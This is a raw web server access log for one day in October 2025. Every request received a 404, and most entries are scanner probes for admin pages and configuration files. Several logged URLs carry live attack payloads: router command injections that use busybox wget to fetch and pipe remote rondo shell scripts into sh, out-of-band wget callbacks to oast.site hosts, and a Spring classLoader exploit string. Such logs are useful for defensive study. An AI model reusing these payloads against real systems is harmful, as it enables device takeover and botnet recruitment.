35.202.9.133 - - [27/Oct/2025:00:12:37 +0100] "GET / HTTP/1.1" 404 952 204.76.203.219 - - [27/Oct/2025:00:22:10 +0100] "GET / HTTP/1.1" 404 952 81.56.15.122 - - [27/Oct/2025:00:30:41 +0100] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 176.65.149.30 - - [27/Oct/2025:01:10:31 +0100] "GET /login HTTP/1.1" 404 952 176.65.149.19 - - [27/Oct/2025:01:20:11 +0100] "GET /login HTTP/1.1" 404 952 184.105.139.69 - - [27/Oct/2025:01:23:58 +0100] "GET / HTTP/1.1" 404 952 184.105.139.85 - - [27/Oct/2025:01:24:34 +0100] "GET /favicon.ico HTTP/1.1" 404 952 184.105.139.109 - - [27/Oct/2025:01:24:50 +0100] "GET /?format=json HTTP/1.1" 404 952 184.105.139.69 - - [27/Oct/2025:01:25:04 +0100] "GET /geoserver/web/ HTTP/1.1" 404 952 204.76.203.18 - - [27/Oct/2025:02:00:02 +0100] "GET / HTTP/1.1" 404 952 209.38.96.38 - - [27/Oct/2025:02:02:38 +0100] "GET / HTTP/1.1" 404 952 207.90.244.14 - - [27/Oct/2025:02:08:40 +0100] "GET / HTTP/1.1" 404 952 207.90.244.14 - - [27/Oct/2025:02:08:42 +0100] "GET /favicon.ico HTTP/1.1" 404 952 204.76.203.18 - - [27/Oct/2025:02:10:17 +0100] "GET /bins/ HTTP/1.1" 404 952 204.76.203.219 - - [27/Oct/2025:02:20:36 +0100] "GET / HTTP/1.1" 404 952 204.76.203.18 - - [27/Oct/2025:02:22:31 +0100] "GET /bin/ HTTP/1.1" 404 952 204.76.203.18 - - [27/Oct/2025:02:36:36 +0100] "GET /backup/ HTTP/1.1" 404 952 134.199.158.90 - - [27/Oct/2025:02:49:07 +0100] "GET / HTTP/1.1" 404 952 134.199.158.90 - - [27/Oct/2025:02:49:07 +0100] "GET /download/powershell/ HTTP/1.1" 404 952 134.199.158.90 - - [27/Oct/2025:02:49:08 +0100] "GET /get.php HTTP/1.1" 404 952 204.76.203.212 - - [27/Oct/2025:02:52:58 +0100] "GET / HTTP/1.1" 404 952 176.65.149.19 - - [27/Oct/2025:03:08:58 +0100] "GET /login HTTP/1.1" 404 952 183.222.178.40 - - [27/Oct/2025:03:10:45 +0100] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 94.74.191.127 - - [27/Oct/2025:04:11:43 +0100] "GET / HTTP/1.1" 404 952 204.76.203.219 - - [27/Oct/2025:04:22:37 +0100] "GET / HTTP/1.1" 404 952 204.76.203.208 - - [27/Oct/2025:04:31:32 +0100] "GET /server.js HTTP/1.1" 404 952 176.65.149.19 - - [27/Oct/2025:04:42:07 +0100] "GET /login HTTP/1.1" 404 952 193.142.147.209 - - [27/Oct/2025:04:44:39 +0100] "GET / HTTP/1.1" 404 952 172.245.241.123 - - [27/Oct/2025:04:58:10 +0100] "GET / HTTP/1.1" 404 952 194.165.16.11 - - [27/Oct/2025:05:06:48 +0100] "POST /wp-json/am-member/license HTTP/1.1" 404 952 204.76.203.212 - - [27/Oct/2025:06:05:05 +0100] "GET / HTTP/1.1" 404 952 94.74.191.4 - - [27/Oct/2025:06:27:12 +0100] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 952 204.76.203.219 - - [27/Oct/2025:06:31:25 +0100] "GET / HTTP/1.1" 404 952 117.50.245.253 - - [27/Oct/2025:07:06:20 +0100] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 193.142.147.209 - - [27/Oct/2025:07:27:23 +0100] "GET / HTTP/1.1" 404 952 217.8.45.70 - - [27/Oct/2025:07:40:58 +0100] "GET / HTTP/1.1" 404 952 117.50.245.253 - - [27/Oct/2025:08:02:17 +0100] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 198.235.24.109 - - [27/Oct/2025:08:25:57 +0100] "GET / HTTP/1.1" 404 952 147.185.132.72 - - [27/Oct/2025:08:29:47 +0100] "GET / HTTP/1.0" 404 952 85.214.21.8 - - [27/Oct/2025:08:32:42 +0100] "GET /asdadadas HTTP/1.1" 404 952 204.76.203.219 - - [27/Oct/2025:08:33:33 +0100] "GET / HTTP/1.1" 404 952 94.74.191.127 - - [27/Oct/2025:08:53:44 +0100] "GET / HTTP/1.1" 404 952 45.135.232.201 - - [27/Oct/2025:08:59:17 +0100] "GET / HTTP/1.1" 404 952 91.134.9.78 - - [27/Oct/2025:08:59:31 +0100] "GET / HTTP/1.1" 404 952 194.165.16.11 - - [27/Oct/2025:09:05:05 +0100] "GET /backend/backend/auth/signin HTTP/1.1" 404 952 204.76.203.212 - - [27/Oct/2025:09:19:44 +0100] "GET / HTTP/1.1" 404 952 117.50.245.253 - - [27/Oct/2025:09:32:16 +0100] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 193.142.147.209 - - [27/Oct/2025:09:34:31 +0100] "GET / HTTP/1.1" 404 952 176.65.149.30 - - [27/Oct/2025:09:45:32 +0100] "GET /login HTTP/1.1" 404 952 117.50.245.253 - - [27/Oct/2025:09:46:16 +0100] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 167.94.138.180 - - [27/Oct/2025:10:18:29 +0100] "GET / HTTP/1.1" 404 952 167.94.138.180 - - [27/Oct/2025:10:18:34 +0100] "GET /login HTTP/1.1" 404 952 71.6.232.24 - - [27/Oct/2025:10:25:00 +0100] "GET / HTTP/1.1" 404 952 204.76.203.219 - - [27/Oct/2025:10:26:48 +0100] "GET / HTTP/1.1" 404 952 74.249.192.245 - - [27/Oct/2025:10:30:49 +0100] "GET / HTTP/1.1" 404 952 71.6.232.24 - - [27/Oct/2025:10:45:55 +0100] "GET / HTTP/1.1" 404 952 45.153.34.156 - - [27/Oct/2025:11:06:37 +0100] "POST /tmUnblock.cgi HTTP/1.1" 404 952 45.153.34.156 - - [27/Oct/2025:11:06:37 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 952 45.153.34.156 - - [27/Oct/2025:11:06:37 +0100] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%60busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.zqq.sh%7Csh%60 HTTP/1.1" 404 952 45.153.34.156 - - [27/Oct/2025:11:06:37 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.ush.sh%7Csh%26&curpath=%2F¤tsetting.htm=1 HTTP/1.1" 404 952 45.153.34.156 - - [27/Oct/2025:11:06:37 +0100] "GET /cgi-bin/;wget${IFS}-qO-${IFS}http://74.194.191.52/rondo.sbx.sh|sh&echo${IFS} HTTP/1.0" 404 952 45.153.34.156 - - [27/Oct/2025:11:06:37 +0100] "POST /apply_sec.cgi HTTP/1.1" 404 952 45.153.34.156 - - [27/Oct/2025:11:06:37 +0100] "POST /goform/mp HTTP/1.1" 404 952 45.153.34.156 - - [27/Oct/2025:11:06:37 +0100] "GET /goform/setUsbUnload/.js?deviceName=A%3Bbusybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.uzz.sh%7Csh%26echo%20 HTTP/1.0" 404 952 45.153.34.156 - - [27/Oct/2025:11:06:37 +0100] "POST /goform/setPingInfo HTTP/1.1" 404 952 45.153.34.156 - - [27/Oct/2025:11:06:37 +0100] "POST /cgi-bin/server/server.cgi?func=server02_main_submit&counter=5.22497857400916&TEST_BTN4= HTTP/1.1" 404 952 45.153.34.156 - - [27/Oct/2025:11:06:37 +0100] "POST /diagnostic.php HTTP/1.1" 404 952 45.153.34.156 - - [27/Oct/2025:11:06:37 +0100] "GET / HTTP/1.1" 404 952 45.153.34.156 - - [27/Oct/2025:11:06:37 +0100] "GET /HNAP1/ HTTP/1.1" 404 952 45.153.34.156 - - [27/Oct/2025:11:06:37 +0100] "POST /goform/SystemCommand HTTP/1.1" 404 952 45.153.34.156 - - [27/Oct/2025:11:06:37 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 952 45.153.34.156 - - [27/Oct/2025:11:06:37 +0100] "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 404 952 143.244.152.105 - - [27/Oct/2025:11:27:56 +0100] "GET / HTTP/1.1" 404 952 79.124.40.174 - - [27/Oct/2025:11:34:28 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 404 952 138.197.16.14 - - [27/Oct/2025:11:41:48 +0100] "GET / HTTP/1.1" 404 952 193.142.147.209 - - [27/Oct/2025:11:43:41 +0100] "GET / HTTP/1.1" 404 952 79.124.40.174 - - [27/Oct/2025:12:06:25 +0100] "GET /actuator/gateway/routes HTTP/1.1" 404 952 94.74.191.4 - - [27/Oct/2025:12:08:29 +0100] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 952 204.76.203.212 - - [27/Oct/2025:12:27:02 +0100] "GET / HTTP/1.1" 404 952 34.77.161.183 - - [27/Oct/2025:12:31:36 +0100] "GET / HTTP/1.1" 404 952 204.76.203.219 - - [27/Oct/2025:12:37:16 +0100] "GET / HTTP/1.1" 404 952 13.217.228.89 - - [27/Oct/2025:13:06:10 +0100] "GET / HTTP/1.1" 404 952 194.165.16.11 - - [27/Oct/2025:13:11:08 +0100] "GET /?location=search HTTP/1.1" 404 952 117.50.245.253 - - [27/Oct/2025:13:56:31 +0100] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 94.74.191.127 - - [27/Oct/2025:14:00:30 +0100] "GET / HTTP/1.1" 404 952 204.76.203.219 - - [27/Oct/2025:14:25:44 +0100] "GET / HTTP/1.1" 404 952 177.4.11.158 - - [27/Oct/2025:14:47:22 +0100] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 194.165.16.11 - - [27/Oct/2025:15:09:42 +0100] "POST /cgi-bin/nightled.cgi HTTP/1.1" 404 952 194.165.16.11 - - [27/Oct/2025:15:09:42 +0100] "POST /functionRouter HTTP/1.1" 404 952 194.165.16.11 - - [27/Oct/2025:15:09:44 +0100] "GET /cgi-bin/mesh.cgi?page=upgrade&key=;%27wget+http://d3qe7gf49vd8v4f7qkogiyub8j1mxn97a.oast.site;%27 HTTP/1.1" 404 952 176.65.149.19 - - [27/Oct/2025:15:42:04 +0100] "GET /login HTTP/1.1" 404 952 204.76.203.212 - - [27/Oct/2025:15:47:43 +0100] "GET / HTTP/1.1" 404 952 194.165.16.11 - - [27/Oct/2025:16:18:16 +0100] "POST /geoserver/wms HTTP/1.1" 404 952 204.76.203.219 - - [27/Oct/2025:16:40:16 +0100] "GET / HTTP/1.1" 404 952 94.74.191.4 - - [27/Oct/2025:17:50:48 +0100] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 952 94.74.191.127 - - [27/Oct/2025:18:08:16 +0100] "GET / HTTP/1.1" 404 952 176.65.149.19 - - [27/Oct/2025:18:14:39 +0100] "GET /login HTTP/1.1" 404 952 204.76.203.219 - - [27/Oct/2025:18:41:17 +0100] "GET / HTTP/1.1" 404 952 117.50.245.253 - - [27/Oct/2025:18:42:33 +0100] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 204.76.203.212 - - [27/Oct/2025:19:10:39 +0100] "GET / HTTP/1.1" 404 952 45.151.139.185 - - [27/Oct/2025:19:20:04 +0100] "GET / HTTP/1.1" 404 952 194.165.16.11 - - [27/Oct/2025:20:00:54 +0100] "POST / HTTP/1.1" 404 952 194.165.16.11 - - [27/Oct/2025:20:00:54 +0100] "POST / HTTP/1.1" 404 952 194.165.16.11 - - [27/Oct/2025:20:00:54 +0100] "GET /?class.module.classLoader.resources.context.configFile=https://d3qe7gf49vd8v4f7qkogyk6nmp115ftwh.oast.site&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1" 404 952 194.165.16.11 - - [27/Oct/2025:20:00:54 +0100] "GET /?class.module.classLoader.resources.context.configFile=http://d3qe7gf49vd8v4f7qkoggrytfipg4k48y.oast.site&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1" 404 952 176.65.149.19 - - [27/Oct/2025:20:28:56 +0100] "GET /login HTTP/1.1" 404 952 204.76.203.219 - - [27/Oct/2025:20:35:45 +0100] "GET / HTTP/1.1" 404 952 206.189.63.197 - - [27/Oct/2025:21:07:31 +0100] "GET /.env HTTP/1.1" 404 952 206.189.63.197 - - [27/Oct/2025:21:07:31 +0100] "GET /.git/config HTTP/1.1" 404 952 194.165.16.11 - - [27/Oct/2025:21:09:29 +0100] "POST /mgmt/tm/util/bash HTTP/1.1" 404 952 94.74.191.127 - - [27/Oct/2025:21:19:19 +0100] "GET / HTTP/1.1" 404 952 3.131.215.38 - - [27/Oct/2025:22:15:04 +0100] "GET / HTTP/1.1" 404 952 3.131.215.38 - - [27/Oct/2025:22:17:31 +0100] "GET / HTTP/1.1" 404 952 204.76.203.212 - - [27/Oct/2025:22:20:05 +0100] "GET / HTTP/1.1" 404 952 204.76.203.219 - - [27/Oct/2025:22:33:44 +0100] "GET / HTTP/1.1" 404 952 87.120.191.92 - - [27/Oct/2025:22:49:29 +0100] "GET / HTTP/1.1" 404 952 194.165.16.11 - - [27/Oct/2025:22:52:08 +0100] "GET /cgi-bin/touchlist_sync.cgi?IP=;wget+http://d3qe7gf49vd8v4f7qkogpanrkeephp8t6.oast.site; HTTP/1.1" 404 952 35.216.163.139 - - [27/Oct/2025:23:14:01 +0100] "GET / HTTP/1.1" 404 952 35.216.163.139 - - [27/Oct/2025:23:14:01 +0100] "GET / HTTP/1.1" 404 952 35.216.163.139 - - [27/Oct/2025:23:14:01 +0100] "GET /.git/config HTTP/1.1" 404 952 35.216.163.139 - - [27/Oct/2025:23:14:01 +0100] "GET /server-status HTTP/1.1" 404 952 35.216.163.139 - - [27/Oct/2025:23:14:01 +0100] "GET /config.json HTTP/1.1" 404 952 35.216.163.139 - - [27/Oct/2025:23:14:01 +0100] "GET /.env HTTP/1.1" 404 952 35.216.163.139 - - [27/Oct/2025:23:14:01 +0100] "GET /telescope/requests HTTP/1.1" 404 952 35.216.163.139 - - [27/Oct/2025:23:14:01 +0100] "GET /info.php HTTP/1.1" 404 952 146.190.247.106 - - [27/Oct/2025:23:24:13 +0100] "GET / HTTP/1.1" 404 952 146.190.247.106 - - [27/Oct/2025:23:24:13 +0100] "GET /download/powershell/ HTTP/1.1" 404 952 146.190.247.106 - - [27/Oct/2025:23:24:13 +0100] "GET /get.php HTTP/1.1" 404 952 176.65.149.19 - - [27/Oct/2025:23:35:18 +0100] "GET /login HTTP/1.1" 404 952 205.210.31.46 - - [27/Oct/2025:23:39:23 +0100] "GET / HTTP/1.1" 404 952